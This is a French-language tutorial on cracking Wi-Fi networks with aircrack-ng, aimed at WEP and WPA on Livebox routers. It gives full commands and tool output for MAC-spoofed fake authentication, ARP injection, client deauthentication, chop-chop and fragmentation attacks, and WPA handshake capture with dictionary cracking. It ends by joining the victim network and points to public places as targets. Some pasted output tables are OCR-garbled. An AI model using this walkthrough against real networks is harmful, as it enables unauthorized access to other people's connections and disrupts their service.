I - Introduction. II - La base du wifi. III - Fonctionnement de la suite aircrack-ng. IV - La pratique =). V - L'attaque Chop Chop. VI - L'attaque fragmentation. VII - Aircrack-ng et Aircrack-ptw. VIII - Phase finale du crack WEP. IX - Crack WPA. X - Airoscript, Spoonwep et Spoonwpa. XI - Greetz to my friends (Very important for me).

+----+ |I - Introduction.| +----+

Dans ce paper, vous allez apprendre à vous servir de la suite aircrack-ng, tout d'abord, je vais parler du côté théorique de la chose, les méthodes de modulation utilisées, les méthodes de cryptage, et après cela, je passerais à la pratique qui est pour ma part la partie la plus intéressante, pourquoi donc parler de la théorie ? tout simplement parce qu'une personne en mesure d'auditer un point wifi doit savoir un minimum de choses, la base y compris, plusieurs lieux peuvent être vulnérables, comme des macdo, ou des endroits où il y a beaucoup de batiments.

Bon commençons =).

+-----+ |II - La base du wifi.| +-----+

Le wifi est basé sur des normes, il existe quatre normes à ce jour :

La norme 802.11b : Elle utilise comme type de modulation, le PSK (Phase Shift Keying) ou le QPSK (Quadrature Phase Shift Keying) qui permet d'avoir des débits deux fois plus élevés par rapport au PSK, la norme 802.11b peut atteindre des débits de 1 mb/s à 11 mb/s, ce qui n'est plus trop utilisé de nos jours.

La norme 802.11a : Contrairement à la norme 802.11b, cette norme utilise la modulation OFDM (Orthogonal Frequency Division Multiplexing) et permet d'avoir un débit de 54 mb/s.

La norme 802.11g : Comme la norme 802.11a, cette norme utilise la modulation OFDM et permet d'avoir un débit de 54 mb/s, contrairement à la norme 802.11a, cette norme est plus aboutie donc plus utilisée.

La norme 802.11n : Cette norme compte remplacer le 802.11g car les débits seront plus élevés, on parle de débits d'une centaine de mb/s voir plus. Le wifi fonctionne à une fréquence d'environ 2.4 ghz pour quelques milliwatts, plus on a de Dbi, plus on peut capter un signal loin, le wifi comporte 14 canaux de fréquences plus ou moins puissants :

+++	++++	+++	+++++++++++++++++++++++++++++++++++++++	-+
+ C	anal	Ι	Fréquence	
+				-+
+	1		2.412	+
+	2		2.417	+
+	3		2.422	+
+	4		2.427	+
+	5		2.432	+
+	6		2.437	+
+	7		2.442	+
+	8		2.447	+
+	9	Ι	2.452	+
+	10	Ι	2.457	+
+	11		2.462	+
+	12		2.467	+
+	13	Ι	2.472	+
+	14	Ì	2.484	+
+				-+

Je pense que niveau théorie, cela vous suffira =).

+----+ |III - Fonctionnement de la suite aircrack-ng.|

Tout d'abord, la suite aircrack-ng marche par étape :

Activation du monitor mode de la carte compatible avec airmon-ng (il faut un chipset wifi compatible avec la capture
de paquets et le fake auth par adresse mac que nous verrons plus tard).
Capture de paquets avec airodump-ng.
Stimulation du réseau avec aireplay-ng (il existe plusieurs attaques pour capturer encore plus de paquets que nous verrons également, il s'agit de la méthode chop chop et fragmentation).
Crack de la clef avec aircrack-ng.

Le but de la suite aircrack est en fait, de capturer les paquets envoyés sur le réseau par le routeur wifi grâce à airodump-ng et de décrypter les paquets reçus avec aircrack-ng par algorithme pour une clef wep ou par dictionnaire pour une clef wpa ou wpa-psk qui sont des clefs un peu plus sécurisées.

+----+ |IV - La pratique =).| +-----+

Donc, pour le moment, nous allons prendre comme exemple, une clef wifi en wep (128 bits) sur une livebox (qui dit livebox, dit association par adresse mac, ça complique un peu la chose).

Donc, nous devons trouver la clef wifi rien qu'avec la suite aircrack-ng, nous allons faire ceci par étapes, c'est parti :

Nous ouvrons donc une console, nous passons en root et nous faisons ceci :

\$ airmon-ng

La liste des interfaces wifi apparaît, maintenant, nous faisons ceci :

\$ airmon-ng start "l'interface wifi"

Pour ma part, ça sera :

\$ airmon-ng start wlan0

J'utiliserais cette interface wifi durant tout le tutoriel, tachez donc de la modifier à chaque fois pour vous.

Si votre carte wifi n'est pas détectée dans airmon-ng, il faut l'activer :

\$ ifconfig wlan0 up

Une fois la carte activée et le "monitor mode enabled", nous pouvons continuer avec airodump-ng.

\$ airodump-ng --write "Nomquevousvoulez" --channel "lechanneldelalivebox"
"interfacewifi"

Pour ma part, cela sera donc :

\$ airodump-ng --write tutoriel --channel 1 wlan0

Si on ne connait pas le channel de la livebox, on peut faire comme ceci :

\$ airodump-ng --write tutoriel wlan0

Les cannaux seront analysés un par un jusqu'à trouver la livebox, une fois trouvée, il suffit de regarder la case "CH XX" pour connaitre le channel de la livebox.

Une fois la livebox trouvée, on voit la colonne BSSID, elle correspond à l'adresse mac de la livebox. La colonne ESSID correspond au nom de la livebox.

Pour être plus précis dans la capture, nous pouvons relancer airodump-ng comme ceci :

\$ airodump-ng --write tutoriel2 --channel XX --bssid XX:XX:XX:XX:XX:XX wlan0

XX = Correspond au numéro du channel vus dans la case CH. XX:XX:XX:XX:XX:XX = Correspond à l'adresse mac de la livebox. wlan0 = Correspond à notre interface wifi.

La colonne #data nous intéresse fortement car cela correspond aux ivs qui nous permettront de cracker la clef avec aircrack, ce sont des petits morceaux de données envoyés par la livebox et reçus sur notre pc grâce à notre carte wifi.

Maintenant, nous allons stimuler le réseau afin de capturer encore plus de paquets grâce à aireplay.

Comme nous attaquons une livebox, elle est protégée par une association par adresse mac, nous allons donc tenter une attaque dites "Fake Auth" qui a pour but de voler une adresse mac déjà assignée.

\$ aireplay-ng -1 0 -e ESSID -a BSSID -h STATION wlan0

-1 indique à aircrack qu'on veut faire une fake auth, 0 est le temps entre deux tentatives. ESSID est le nom de la livebox (que l'on voit dans la colonne ESSID dans airodump-ng). BSSID est l'adresse mac de la livebox (voir la colonne BSSID). STATION est l'adresse mac de la station (voir colonne STATION).

wlan0 est notre interface. Exemple : \$ aireplay-ng -1 0 -e Livebox-1490 -a XX:XX:XX:XX:XX:A -h yy:yy:yy:yy:yy:yy wlan0 À ce moment là, nous devons avoir des messages du genre : 17:55:34 Sending Authentication Request 17:55:34 Sending Authentication Request 17:55:34 Sending Authentication Request 17:55:34 Sending Authentication Request 17:55:34 Authentication successful 17:55:34 Sending Authentication Request 17:55:34 Association successful :-) Le nombre de Sending Authentication Request peut varier en fonction de la qualité du signal et de certains facteurs. Maintenant que nous sommes associé avec le fake auth, on va faire une injection de paquets, c'est la clef pour réussir un crack wep rapidement, ça nous évite d'y passer la semaine pour capturer des ivs, sachant qu'il nous en faut environ 1 000 000 pour une clef 128 bits et 300 000 pour une clef 64 bits. Voici comment procéder pour faire une réinjection d'arp : \$ aireplay-ng -3 -e ESSID -b BSSID -h STATION wlan0 À la place de -1 pour la stimulation du réseau, nous avons -3 pour la réinjection d'ARP. Exemple : \$ aireplay-ng -3 -e Livebox-1490 -b XX:XX:XX:XX:XX:XX -h yy:yy:yy:yy:yy:yy wlan0 On peut rajouter aussi le paramètre -x XXX qui représente la vitesse d'injection des paquets, par défaut, 600 paquets/s. Vous pouvez augmenter ou diminuer cette valeure en fonction de la qualité du signal mais évitez d'injecter trop rapidement, vous pouvez faire planter l'AP. Maintenant si tout se passe bien, nous pouvons voir que dans airodump-ng, les ivs augmentent ainsi que les ARP capturés. Si vous n'arrivez pas à capturer d'ARP, il existe un moyen, c'est de forcer une station de se déconnecter avec aireplay. Cela ne fonctionne pas toujours mais voici la commande : \$ aireplay-ng -0 1 -a XX:XX:XX:XX:XX -c ZZ:ZZ:ZZ:ZZ:ZZ wlan0 -o signale à aireplay qu'on veut faire une attaque de deauthentication. 1 correspond aux nombres de tentatives, si on mets cette valeure à 0, on produit une attaque en boucle (plus efficace). -a correspond à l'adresse mac de la livebox. -c correspond à l'adresse mac que l'on veut déconnecter, si on ne mets pas le paramètre -c dans la commande, on déconnecte tout le monde (pas très utile sauf dans certains cas). wlan0 correspond à notre interface. Maintenant, nous allons apprendre les deux autres attaques possibles (Chop chop et fragmentation).

+-----+ |V - L'attaque Chop Chop.| +-----+

L'attaque Chop Chop consiste à injecter un faux arp afin de stimuler le réseau donc à avoir des ivs, ceci est utile quand une station ne génère pas d'arp.

Toute la théorie de l'attaque Chop Chop peut être visionnée ici : <u>http://www.aircrack-ng.org/doku.php?id=chopchoptheory</u>

Maintenant que la théorie est faite, voici la pratique :

\$ aireplay-ng -4 -h yy:yy:yy:yy:yy -b XX:XX:XX:XX:XX wlan0

-4 signale à aireplay que nous voulons faire une attaque Chop Chop.
-h yy:yy:yy:yy:yy:yy correspond à l'adresse mac de la colonne STATION.
-b XX:XX:XX:XX:XX correspond à l'adresse mac de la livebox.
wlan0 à notre interface wifi.

Nous avons une réponse ressemblante à ça :

```
+----+
```

```
Read 165 packets...
```

Size: 86, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:E5:C9

 0x0000:
 0842
 0000
 ffff
 ffff
 ffff
 0014
 6c7e
 4080
 .B.....l~@.

 0x0010:
 0040
 f477
 e5c9
 603a
 d600
 0000
 5fed
 a222
 .@.w.`:..._.""

 0x0020:
 e2ee
 aa48
 8312
 f59d
 c8c0
 af5f
 3dd8
 a543
 ...H.....=.."

 0x0030:
 d1ca
 0c9b
 6aeb
 fad6
 f394
 2591
 5bf4
 2873
 ...j...%.[.(s

 0x0040:
 16d4
 43fb
 aebb
 3ea1
 7101
 729e
 65ca
 6905
 ..C...>.q.r.e.i.

 0x0050:
 cfeb
 4a72
 be46
 ...Jr.F

Use this packet ? y

Nous devons donc confirmer avec "y".

+-----+ Saving chosen packet in replay src-0201-191639.cap

Offset	85	(0%	done)		xor	=	D3	Ι	pt	=	95		253	frames	written	in	760ms
Offset	84	(1%	done)		xor	=	EΒ		pt	=	55		166	frames	written	in	498ms
Offset	83	(3%	done)		xor	=	47		pt	=	35		215	frames	written	in	645ms
Offset	82	(5%	done)		xor	=	07		pt	=	4D		161	frames	written	in	483ms
Offset	81	(7응	done)		xor	=	EΒ		pt	=	00		12	frames	written	in	36ms
Offset	80	(98	done)		xor	=	CF		pt	=	00		152	frames	written	in	456ms
Offset	79	(11%	done)		xor	=	05		pt	=	00		29	frames	written	in	87ms
Offset	78	(13%	done)		xor	=	69		pt	=	00		151	frames	written	in	454ms
Offset	77	(15%	done)		xor	=	CA		pt	=	00		24	frames	written	in	71ms
Offset	76	(17응	done)		xor	=	65		pt	=	00		129	frames	written	in	387ms
Offset	75	(19%	done)		xor	=	9E		pt	=	00		36	frames	written	in	108ms
Offset	74	(21%	done)		xor	=	72		pt	=	00		39	frames	written	in	117ms
Offset	73	(23%	done)		xor	=	01		pt	=	00		146	frames	written	in	438ms
Offset	72	(25%	done)		xor	=	71		pt	=	00		83	frames	written	in	249ms
Offset	71	(26%	done)		xor	=	A1		pt	=	00		43	frames	written	in	129ms
Offset	70	(28%	done)		xor	=	ЗE		pt	=	00		98	frames	written	in	294ms
Offset	69	(30%	done)		xor	=	BB		pt	=	00		129	frames	written	in	387ms

Offset	68	(32%	done)	xor	=	AE		pt	=	00		248	frames	written	in	744ms
Offset	67	(34%	done)	xor	=	FB		pt	=	00		105	frames	written	in	315ms
Offset	66	(36%	done)	xor	=	43		pt	=	00		101	frames	written	in	303ms
Offset	65	(38%	done)	xor	=	D4		pt	=	00		158	frames	written	in	474ms
Offset	64	(40%	done)	xor	=	16		pt	=	00		197	frames	written	in	591ms
Offset	63	(42%	done)	xor	=	7F		pt	=	0C		72	frames	written	in	217ms
Offset	62	(44%	done)	xor	=	1F		pt	=	37		166	frames	written	in	497ms
Offset	61	(46%	done)	xor	=	5C	l	pt	=	A8		119	frames	written	in	357ms
Offset	60	(48%	done)	xor	=	9B		pt	=	С0		229	frames	written	in	687ms
Offset	59	(50%	done)	xor	=	91		pt	=	00		113	frames	written	in	339ms
Offset	58	(51%	done)	xor	=	25		pt	=	00		184	frames	written	in	552ms
Offset	57	(53%	done)	xor	=	94		pt	=	00		33	frames	written	in	99ms
Offset	56	(55%	done)	xor	=	F3		pt	=	00		193	frames	written	in	579ms
Offset	55	(57%	done)	xor	=	D6	l	pt	=	00		17	frames	written	in	51ms
Offset	54	(59%	done)	xor	=	FA		pt	=	00		81	frames	written	in	243ms
Offset	53	(61%	done)	xor	=	ΕA		pt	=	01		95	frames	written	in	285ms
Offset	52	(63%	done)	xor	=	5D		pt	=	37		24	frames	written	in	72ms
Offset	51	(65%	done)	xor	=	33	l	pt	=	A8		20	frames	written	in	59ms
Offset	50	(67%	done)	xor	=	CC		pt	=	С0		97	frames	written	in	291ms
Offset	49	(69%	done)	xor	=	03		pt	=	С9		188	frames	written	in	566ms
Offset	48	(71%	done)	xor	=	34		pt	=	E5		48	frames	written	in	142ms
Offset	47	(73%	done)	xor	=	34	l	pt	=	77		64	frames	written	in	192ms
Offset	46	(75%	done)	xor	=	51		pt	=	F4		253	frames	written	in	759ms
Offset	45	(76%	done)	xor	=	98		pt	=	40		109	frames	written	in	327ms
Offset	44	(78%	done)	xor	=	ЗD		pt	=	00		242	frames	written	in	726ms
Offset	43	(80%	done)	xor	=	5E		pt	=	01		194	frames	written	in	583ms
Offset	42	(82%	done)	xor	=	AF		pt	=	00		99	frames	written	in	296ms
Offset	41	(84%	done)	xor	=	C4		pt	=	04		164	frames	written	in	492ms
Offset	40	(86%	done)	xor	=	CE		pt	=	06		69	frames	written	in	207ms
Offset	39	(88%	done)	xor	=	9D		pt	=	00		137	frames	written	in	411ms
Offset	38	(90%	done)	xor	=	FD		pt	=	8 0		229	frames	written	in	688ms
Offset	37	(92%	done)	xor	=	13		pt	=	01		232	frames	written	in	695ms
Offset	36	(94%	done)	xor	=	83		pt	=	00		19	frames	written	in	58ms
Offset	35	(96%	done)	xor	=	4E		pt	=	06		230	frames	written	in	689ms
Sent 957	pac	kets,	, currer	nt que	ess	з: В	9.									

The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation.

Saving plaintext in replay_dec-0201-191706.cap Saving keystream in replay dec-0201-191706.xor

Completed in 21s (2.29 bytes/s)

+-----+

Nous avons fini, le fichier "replay_dec-0201-191706.xor" peut être utiliser pour générer des paquets avec packetforge-ng.

\$ packetforge-ng -9 -r input.cap -y replay dec-0201-191706.xor -w output.cap

-9 signale à packetforge-ng que l'on veut générer un paquet aléatoire.
-r input.cap correspond au fichier d'entrée.
-y replay_dec-0201-191706.xor correspond à notre fichier généré.
-w output.cap correspond au fichier de sortie.

Il y a plusieurs méthodes pour forger un paquet arp, vous pouvez les voir ici :

http://www.aircrack-ng.org/doku.php?id=packetforge-ng

Nous pouvons aussi utiliser l'attaque Chop Chop sans authentification :

\$ aireplay-ng -4 -b XX:XX:XX:XX:XX:XX wlan0

+----+

|VI - L'attaque fragmentation.|
+-----+

Comme pour l'attaque Chop Chop, l'attaque fragmentation a pour but de générer un .xor pour ensuite forget un paquet arp avec packetforge-ng.

Voici la commande :

\$ aireplay-ng -5 -b XX:XX:XX:XX:XX -h yy:yy:yy:yy:yy:yy wlan0

-5 signale à aireplay que nous voulons faire une attaque fragmentation. -h yy:yy:yy:yy:yy:yy:yy correspond à l'adresse mac de la colonne STATION. -b XX:XX:XX:XX:XX:XX correspond à l'adresse mac de la livebox. wlan0 à notre interface wifi.

+-----+ |VII - Aircrack-ng et Aircrack-ptw.| +-----+

Le but est d'assembler les deux algorithmes ensemblent, pour cela, voici comment faire :

Se mettre en root et aller dans le répertoire où se trouve votre .cap et faire cette commande :

\$ aircrack-ng -z *.cap

-z sert à assembler aircrack-ng et aircrack-ptw ensemblent. *.cap est votre fichier .cap, il suffit de modifier * par le nom de votre fichier.

Si aircrack-ng arrive à décrypter votre .cap, vous devriez obtenir à peu près ceci :

1	2	566683 IVs>										
KB0123456789 10	dept 0/ 12 0/ 3 0/ 1 0/ 1	byte(unte) AE 50 AE 50 11 20 20 10 12 84 12 84 12 84 12 84 12 84 12 84 12 84 12 84 11 12 12 12 12 12 13 74 148 EC 20 EB 15 FF 148 EC 203 140 904 31 403 904 140 904 140 904 140 904 140 904 140 904 140 904 140 904 140 904 140 904 140 904 140 904 140 904 141										
	KE	Y FOUND! [AE:SB:7F:3A:03:D0:AF:9B:F6:8D:AS:E2:C7] A LONMD4 [VE:2B:AL:3V:03:D0:VL:3B:L0:8D:V2:E3:CA]										
T (1												

Ou encore ça_:



Ou ceci :

8	x-terr	nina	l-em	ulator												000
	aircrack 2.1															
*	Got	261	1081	l Fun	ique	[Vs	l fudi	ze fa	actor	= 2						
*	* Elapsed time [00:00:13] tried 7 keys at 32 k/m															
1/1	2	dant	th.	unt.												
(aept 07	1	DAC	60)	70(23)	55(15)	9F (12)	A2(5)	CDC	5)	
		0/	2	BDC	57)	24(32)	29(22)	100	13)	F9(13)	9F(12)	
	2 (0/	1	80(51)	67(23)	48(15)	DDC	15)	D6 (13)	FAC	12)	
	3 (07	4	10(25)	07(15)	7B (12)	A5 (12)	4B (10)	76(8)	
4	4 (0/	1	43(66)	B1(15)	D2(6)	18(5)	20(5)	21(5)	
Ę	5 :	17	7	92(24)	02(18)	2F (17)	C1(16)	36(12)	87(12)	
6	ş (0/	1	C6(51)	50(15)	66(15)	01(13)	4A(13)	8E (13)	
	7 (0/	2	84(29)	CO(17)	EE (13)	80(12)	49(11)	F6(11)	
\$	3 (0/	1	81 (1803)	09(119)	99(116)	32(75)	49(70)	9D (65)	
9) (0/	1	C4(1947)	E1(125)	FC (123)	BD (105)	8C (95)	2F (85)	
10) (0/	1	8A (485)	41(75)	18(73)	ED (55)	4B(50)	D1(45)	
11	L (0/	1	08(92)	FF (29)	5D (20)	1E(17)	18(15)	5E (15)	
12	2 (0/	1	1B(137)	DD(21)	46(20)	10(15)	76(15)	07(13)	
				KEY	FOUNI	Л	UABU	3U10	139201	58481	LC48A(981B				
″/aiı	crac	k-2.	.1 \$													

Ce sont des images approximatif, la seule qui nous intéresse est le key found avec la clef ou le pass secret.

+----+ |VIII - Phase finale du crack WEP.| +----+ Une fois la clef trouvée, il vous suffit de changer votre adresse mac par celle spoofée durant le tutoriel : \$ ifconfig wlan0 hw ether yy:yy:yy:yy:yy (Remplacez l'interface wlan0 par la votre et l'adresse mac par celle que vous avez utilisée). Maintenant il faut activer dhcp : \$ dhcp wlan0 Maintenant, essayez de faire un ping sur un site connu comme google : \$ ping www.google.com Si vous avez des réponses, vous êtes connecté, bravo =) Sinon, l'adresse de la livebox n'est pas celle d'origine, dans ce cas, il vous faudra utiliser un sniffer réseau comme wireshark. +----+ |IX - Crack WPA.| +----+ Nous allons faire des commandes basiques vus plus haut, vous pourrez les comprendre en regardant les autres exemples : \$ airmon-ng start wlan0 \$ airodump-ng --write crackwpa --channel XX --encrypt wpa wlan0 Maintenant comparé au crack WEP, le but n'est plus de faire une fake auth mais de faire une désauthentification des stations connectées. Le but est d'obtenir un Handshake (obligatoire pour lancer l'attaque par dictionnaire). \$ aireplay-ng -0 1 -a BSSID -c STATION wlan0 -0 indique qu'il s'agit d'une désauthentification. 1 est le nombre de tentatives, mettre 0 pour illimité. BSSID est l'adresse mac de la colonne BSSID. STATION est l'adresse mac de la colonne STATION (Facultative mais recommandée). Après la désauthentification, attendez que le client se reconnecte, vous devriez avoir un Handshake, pour vérifier, lancez aircrack : \$ aircrack-ng *.cap Ne remplacez rien dans cette commande. Logiquement, vous devriez voir une liste, si dans la catégorie "Encryption" vous voyez "WPA (1 Handshake)", c'est bon, on peut continuer. Donc, pour décrypter la clef, vous avez besoin d'un dictionnaire (il y en a pleins sur internet). Une fois que vous en avez un, lancez aircrack comme ceci :

\$ aircrack-ng -w Chemindudico *.cap

Chemindudico = Vous devez remplacer ça par le chemin du dico, exemple : Desktop/ dico. *.cap = Vous devez remplacer * par le nom de votre .cap.

Aircrack se chargera de décrypter la clef mais vous avez le temps d'aller dormir, en effet, en wpa, le décryptage de la clef peut durer deux heures comme deux jours.

+----+ |X - Airoscript, Spoonwep et Spoonwpa.| +----+

Airoscript est un script qui utilise la suite aircrack-ng mais qui facilite beaucoup l'exploitation, vous pourez le trouver ici : <u>http://airoscript.aircrack-ng.org/download.html</u>.

Un manuel est disponible sur le site même si cela reste relativement simple.

Spoonwep et Spoonwpa sont des équivalents à airoscript mais en interface graphique, le must en rapidité =)

Vous pouvez les avoir ici :

http://neovortex.kodings.googlepages.com/spoonwep2.lzm

http://shamanvirtuel.googlepages.com/SWPA.lzm

+----+ |XI - Greetz to my friends.| +-----+

Xylitol, KPCR, PHPLizardo, p3lo, ZeQ3uL, i337, Yacodo, Bestpig, Mastermind, SpY-TecH, Valus, HuGe, d5-ro, Digital-H, Kanzaki, Str0zen.

Websites : Europa Security, Citec.us.